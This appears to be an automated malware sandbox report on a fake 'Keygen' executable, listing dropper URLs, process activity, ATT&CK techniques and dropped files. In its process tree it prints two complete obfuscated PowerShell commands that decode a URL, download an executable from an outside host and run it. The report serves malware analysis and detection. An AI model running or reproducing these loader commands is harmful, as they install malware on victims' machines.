201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
13s
max time network
167s
platform
windows7_x64
resource
win7v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (90) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1232 Keygen.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1684 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

680 timeout.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1232 Keygen.exe

pid	process
1232	Keygen.exe

pid	process
1684	cmd.exe

pid	process
680	timeout.exe

pid	process
1232	Keygen.exe

Suspicious use of WriteProcessMemory 32 IoCs

Processes:

Keygen — копия (90) — копия.execmd.exemshta.exemshta.exe

description	pid	process	target process
PID 1396 wrote to memory of 1684	1396	Keygen — копия (90) — копия.exe	cmd.exe
PID 1396 wrote to memory of 1684	1396	Keygen — копия (90) — копия.exe	cmd.exe
PID 1396 wrote to memory of 1684	1396	Keygen — копия (90) — копия.exe	cmd.exe
PID 1396 wrote to memory of 1684	1396	Keygen — копия (90) — копия.exe	cmd.exe
PID 1684 wrote to memory of 1232	1684	cmd.exe	Keygen.exe
PID 1684 wrote to memory of 1232	1684	cmd.exe	Keygen.exe
PID 1684 wrote to memory of 1232	1684	cmd.exe	Keygen.exe
PID 1684 wrote to memory of 1232	1684	cmd.exe	Keygen.exe
PID 1684 wrote to memory of 1844	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1844	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1844	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1844	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1800	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1800	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1800	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1800	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 680	1684	cmd.exe	timeout.exe
PID 1684 wrote to memory of 680	1684	cmd.exe	timeout.exe
PID 1684 wrote to memory of 680	1684	cmd.exe	timeout.exe
PID 1684 wrote to memory of 680	1684	cmd.exe	timeout.exe
PID 1844 wrote to memory of 828	1844	mshta.exe	powershell.exe
PID 1844 wrote to memory of 828	1844	mshta.exe	powershell.exe
PID 1844 wrote to memory of 828	1844	mshta.exe	powershell.exe
PID 1844 wrote to memory of 828	1844	mshta.exe	powershell.exe
PID 1800 wrote to memory of 1692	1800	mshta.exe	powershell.exe
PID 1800 wrote to memory of 1692	1800	mshta.exe	powershell.exe
PID 1800 wrote to memory of 1692	1800	mshta.exe	powershell.exe
PID 1800 wrote to memory of 1692	1800	mshta.exe	powershell.exe
PID 1684 wrote to memory of 1884	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1884	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1884	1684	cmd.exe	mshta.exe
PID 1684 wrote to memory of 1884	1684	cmd.exe	mshta.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (90) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (90) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1396

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (90) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1684

C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1232

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1844

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:828

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1800

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1692

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:680

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\b.hta"
3⤵
PID:1884

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\E3E9.tmp\start.bat

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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\Users\Admin\AppData\Local\Temp\E3E9.tmp\Keygen.exe

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memory/680-11-0x0000000000000000-mapping.dmp

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memory/828-12-0x0000000000000000-mapping.dmp

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memory/1232-4-0x0000000000000000-mapping.dmp

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memory/1232-5-0x0000000000000000-mapping.dmp

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memory/1684-0-0x0000000000000000-mapping.dmp

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memory/1692-13-0x0000000000000000-mapping.dmp

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memory/1800-10-0x0000000000000000-mapping.dmp

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memory/1844-8-0x0000000000000000-mapping.dmp

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memory/1884-18-0x0000000000000000-mapping.dmp

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